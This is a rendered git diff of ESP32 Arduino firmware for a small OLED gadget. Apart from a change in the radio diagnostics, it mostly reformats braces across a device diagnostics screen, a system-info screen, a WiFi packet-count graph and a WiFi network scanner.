|
||||
values[3] = s.cc1101_2;
|
||||
values[4] = s.buttons;
|
||||
values[5] = s.oled;
|
||||
|
||||
values[2] = s.cc1101;
|
||||
values[3] = s.oled;
|
||||
|
||||
u8g2.clearBuffer();
|
||||
u8g2.setFont(u8g2_font_6x10_tr);
|
||||
|
|
@ -128,15 +82,14 @@ void drawStatus(DeviceStatus &s)
|
|||
if (selectedIndex >= offset + VISIBLE_ROWS)
|
||||
offset = selectedIndex - VISIBLE_ROWS + 1;
|
||||
|
||||
for (int i = 0; i < VISIBLE_ROWS; i++)
|
||||
{
|
||||
for (int i = 0; i < VISIBLE_ROWS; i++) {
|
||||
int item = offset + i;
|
||||
if (item >= MAX_ITEMS) break;
|
||||
if (item >= MAX_ITEMS)
|
||||
break;
|
||||
|
||||
int y = 12 + i * 10;
|
||||
|
||||
if (item == selectedIndex)
|
||||
{
|
||||
if (item == selectedIndex) {
|
||||
u8g2.drawBox(0, y - 9, 128, 10);
|
||||
u8g2.setDrawColor(0);
|
||||
}
|
||||
|
|
@ -156,8 +109,7 @@ void drawStatus(DeviceStatus &s)
|
|||
}
|
||||
|
||||
// ===== MAIN =====
|
||||
void device_check_run()
|
||||
{
|
||||
void device_check_run() {
|
||||
DeviceStatus status;
|
||||
|
||||
Serial.println("Running device diagnostics...");
|
||||
|
|
@ -167,41 +119,33 @@ void device_check_run()
|
|||
status.nrf2 = checkNRF(radio2);
|
||||
|
||||
// CC1101
|
||||
status.cc1101_1 = checkCC1101(CC1101_CS);
|
||||
status.cc1101_2 = checkCC1101(CC1101_2_CS);
|
||||
//status.cc1101_1 = status.cc1101_2 = false;
|
||||
|
||||
// Buttons
|
||||
status.buttons = checkButtons();
|
||||
status.cc1101 = checkCC1101(CC1101_CS);
|
||||
// status.cc1101 = true;
|
||||
|
||||
drawStatus(status);
|
||||
|
||||
Serial.println("Diagnostics complete");
|
||||
|
||||
while (1)
|
||||
{
|
||||
while (1) {
|
||||
drawStatus(status);
|
||||
|
||||
if (btnUp())
|
||||
{
|
||||
if (btnUp()) {
|
||||
selectedIndex--;
|
||||
if (selectedIndex < 0) selectedIndex = MAX_ITEMS - 1;
|
||||
if (selectedIndex < 0)
|
||||
selectedIndex = MAX_ITEMS - 1;
|
||||
delay(150);
|
||||
}
|
||||
|
||||
if (btnDown())
|
||||
{
|
||||
if (btnDown()) {
|
||||
selectedIndex++;
|
||||
if (selectedIndex >= MAX_ITEMS) selectedIndex = 0;
|
||||
if (selectedIndex >= MAX_ITEMS)
|
||||
selectedIndex = 0;
|
||||
delay(150);
|
||||
}
|
||||
|
||||
if (btnBack())
|
||||
{
|
||||
if (btnBack()) {
|
||||
delay(150);
|
||||
break;
|
||||
}
|
||||
}}
|
||||
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,17 +1,15 @@
|
|||
#include <Arduino.h>
|
||||
#include "../ui/display.h"
|
||||
#include "buttons.h"
|
||||
#include <Arduino.h>
|
||||
#include <esp_chip_info.h>
|
||||
#include <esp_heap_caps.h>
|
||||
|
||||
void runSystemInfoFeature()
|
||||
{
|
||||
void runSystemInfoFeature() {
|
||||
esp_chip_info_t chip_info;
|
||||
|
||||
esp_chip_info(&chip_info);
|
||||
|
||||
while (true)
|
||||
{
|
||||
while (true) {
|
||||
// u8g2.clearBuffer();
|
||||
|
||||
// char buf[32];
|
||||
|
|
@ -23,7 +21,6 @@ void runSystemInfoFeature()
|
|||
// heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
|
||||
// u8g2.drawStr(0, 28, buf);
|
||||
|
||||
|
||||
// u8g2.drawStr(0, 60, "BACK to exit");
|
||||
|
||||
// Get RAM info
|
||||
|
|
@ -71,13 +68,13 @@ void runSystemInfoFeature()
|
|||
|
||||
// Box 5 - PSRAM (KB)
|
||||
u8g2.drawFrame(0, 48, 128, 12);
|
||||
sprintf(buf, "PSRAM: %lu KB", heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024);
|
||||
sprintf(buf, "PSRAM: %lu KB",
|
||||
heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024);
|
||||
u8g2.drawStr(4, 57, buf);
|
||||
|
||||
u8g2.sendBuffer();
|
||||
|
||||
if (btnBack())
|
||||
{
|
||||
if (btnBack()) {
|
||||
delay(200);
|
||||
return;
|
||||
}
|
||||
|
|
|
|||
|
|
@ -24,17 +24,14 @@ struct SnifferGraph {
|
|||
static SnifferGraph sniffer;
|
||||
|
||||
// ===== CALLBACK =====
|
||||
void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type)
|
||||
{
|
||||
if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL)
|
||||
{
|
||||
void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) {
|
||||
if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) {
|
||||
sniffer.packetCounter++;
|
||||
}
|
||||
}
|
||||
|
||||
// ===== INIT =====
|
||||
void wifi_analyzer_start()
|
||||
{
|
||||
void wifi_analyzer_start() {
|
||||
// display init (safe to call again)
|
||||
u8g2.clearBuffer();
|
||||
u8g2.setFont(u8g2_font_5x8_tr);
|
||||
|
|
@ -64,26 +61,23 @@ void wifi_analyzer_start()
|
|||
}
|
||||
|
||||
// ===== HELPERS =====
|
||||
static void switchChannel()
|
||||
{
|
||||
static void switchChannel() {
|
||||
sniffer.currentChannel++;
|
||||
if (sniffer.currentChannel > 13) sniffer.currentChannel = 1;
|
||||
if (sniffer.currentChannel > 13)
|
||||
sniffer.currentChannel = 1;
|
||||
|
||||
esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
|
||||
}
|
||||
|
||||
static void updateGraph(uint8_t value)
|
||||
{
|
||||
for (int i = 0; i < MAX_POINTS - 1; i++)
|
||||
{
|
||||
static void updateGraph(uint8_t value) {
|
||||
for (int i = 0; i < MAX_POINTS - 1; i++) {
|
||||
sniffer.graphData[i] = sniffer.graphData[i + 1];
|
||||
}
|
||||
|
||||
sniffer.graphData[MAX_POINTS - 1] = value;
|
||||
}
|
||||
|
||||
static void drawGraph(uint16_t pktCount)
|
||||
{
|
||||
static void drawGraph(uint16_t pktCount) {
|
||||
u8g2.clearBuffer();
|
||||
u8g2.setFont(u8g2_font_5x8_tr);
|
||||
|
||||
|
|
@ -96,16 +90,14 @@ static void drawGraph(uint16_t pktCount)
|
|||
u8g2.drawStr(0, 8, line1);
|
||||
u8g2.drawStr(60, 8, line2);
|
||||
|
||||
for (int x = 1; x < GRAPH_WIDTH; x++)
|
||||
{
|
||||
for (int x = 1; x < GRAPH_WIDTH; x++) {
|
||||
int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1];
|
||||
int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x];
|
||||
|
||||
u8g2.drawLine(x - 1, y1, x, y2);
|
||||
}
|
||||
|
||||
if (pktCount >= SPIKE_THRESHOLD)
|
||||
{
|
||||
if (pktCount >= SPIKE_THRESHOLD) {
|
||||
u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT);
|
||||
}
|
||||
|
||||
|
|
@ -113,21 +105,18 @@ static void drawGraph(uint16_t pktCount)
|
|||
}
|
||||
|
||||
// ===== LOOP =====
|
||||
void wifi_analyzer_loop()
|
||||
{
|
||||
void wifi_analyzer_loop() {
|
||||
static uint32_t lastPress = 0;
|
||||
unsigned long now = millis();
|
||||
|
||||
// channel hopping
|
||||
if (now - sniffer.lastChannelSwitch >= 1000)
|
||||
{
|
||||
if (now - sniffer.lastChannelSwitch >= 1000) {
|
||||
sniffer.lastChannelSwitch = now;
|
||||
switchChannel();
|
||||
}
|
||||
|
||||
// graph update
|
||||
if (now - sniffer.lastUpdate >= 200)
|
||||
{
|
||||
if (now - sniffer.lastUpdate >= 200) {
|
||||
sniffer.lastUpdate = now;
|
||||
|
||||
uint16_t pktCount = sniffer.packetCounter;
|
||||
|
|
|
|||
|
|
@ -1,7 +1,7 @@
|
|||
#include <Arduino.h>
|
||||
#include <WiFi.h>
|
||||
#include "../ui/display.h"
|
||||
#include "../utils/buttons.h"
|
||||
#include <Arduino.h>
|
||||
#include <WiFi.h>
|
||||
|
||||
#define MAX_NETWORKS 30
|
||||
|
||||
|
|
@ -17,8 +17,7 @@ static int networkCount = 0;
|
|||
static int selectedIndex = 0;
|
||||
|
||||
// ===== SCAN =====
|
||||
void wifi_scan_start()
|
||||
{
|
||||
void wifi_scan_start() {
|
||||
u8g2.clearBuffer();
|
||||
u8g2.drawStr(10, 30, "Scanning WiFi...");
|
||||
u8g2.sendBuffer();
|
||||
|
|
@ -32,8 +31,7 @@ void wifi_scan_start()
|
|||
|
||||
networkCount = min(n, MAX_NETWORKS);
|
||||
|
||||
for (int i = 0; i < networkCount; i++)
|
||||
{
|
||||
for (int i = 0; i < networkCount; i++) {
|
||||
networks[i].ssid = WiFi.SSID(i);
|
||||
networks[i].rssi = WiFi.RSSI(i);
|
||||
networks[i].channel = WiFi.channel(i);
|
||||
|
|
@ -44,17 +42,13 @@ void wifi_scan_start()
|
|||
}
|
||||
|
||||
// ===== DRAW =====
|
||||
void wifi_scan_draw()
|
||||
{
|
||||
void wifi_scan_draw() {
|
||||
u8g2.clearBuffer();
|
||||
|
||||
if (networkCount == 0)
|
||||
{
|
||||
if (networkCount == 0) {
|
||||
u8g2.drawStr(0, 30, "No networks");
|
||||
u8g2.drawStr(0, 45, "Press BACK");
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
char counter[20];
|
||||
sprintf(counter, "%d/%d", selectedIndex + 1, networkCount);
|
||||
u8g2.setFont(u8g2_font_5x8_tr);
|
||||
|
|
@ -62,15 +56,14 @@ void wifi_scan_draw()
|
|||
|
||||
u8g2.setFont(u8g2_font_6x10_tr);
|
||||
|
||||
for (int i = 0; i < 3; i++)
|
||||
{
|
||||
for (int i = 0; i < 3; i++) {
|
||||
int idx = selectedIndex + i;
|
||||
if (idx >= networkCount) break;
|
||||
if (idx >= networkCount)
|
||||
break;
|
||||
|
||||
int y = 22 + i * 14;
|
||||
|
||||
if (i == 0)
|
||||
{
|
||||
if (i == 0) {
|
||||
u8g2.drawBox(0, y - 10, 128, 12);
|
||||
u8g2.setDrawColor(0);
|
||||
}
|
||||
|
|
@ -92,9 +85,9 @@ void wifi_scan_draw()
|
|||
}
|
||||
|
||||
// ===== DETAILS =====
|
||||
void wifi_drawDetails()
|
||||
{
|
||||
if (networkCount == 0) return;
|
||||
void wifi_drawDetails() {
|
||||
if (networkCount == 0)
|
||||
return;
|
||||
|
||||
WiFiNet &net = networks[selectedIndex];
|
||||
|
||||
|
|
@ -117,27 +110,21 @@ void wifi_drawDetails()
|
|||
}
|
||||
|
||||
// ===== LOOP =====
|
||||
void wifi_scan_loop()
|
||||
{
|
||||
void wifi_scan_loop() {
|
||||
static uint32_t lastPress = 0;
|
||||
|
||||
if (millis() - lastPress < 150)
|
||||
return;
|
||||
|
||||
if (btnDown() && selectedIndex < networkCount - 1)
|
||||
{
|
||||
if (btnDown() && selectedIndex < networkCount - 1) {
|
||||
selectedIndex++;
|
||||
wifi_scan_draw();
|
||||
lastPress = millis();
|
||||
}
|
||||
else if (btnUp() && selectedIndex > 0)
|
||||
{
|
||||
} else if (btnUp() && selectedIndex > 0) {
|
||||
selectedIndex--;
|
||||
wifi_scan_draw();
|
||||
lastPress = millis();
|
||||
}
|
||||
else if (btnSelect() && networkCount > 0)
|
||||
{
|
||||
} else if (btnSelect() && networkCount > 0) {
|
||||
wifi_drawDetails();
|
||||
delay(3000);
|
||||
wifi_scan_draw();
|
||||
|
|
|
|||
Loading…
Reference in New Issue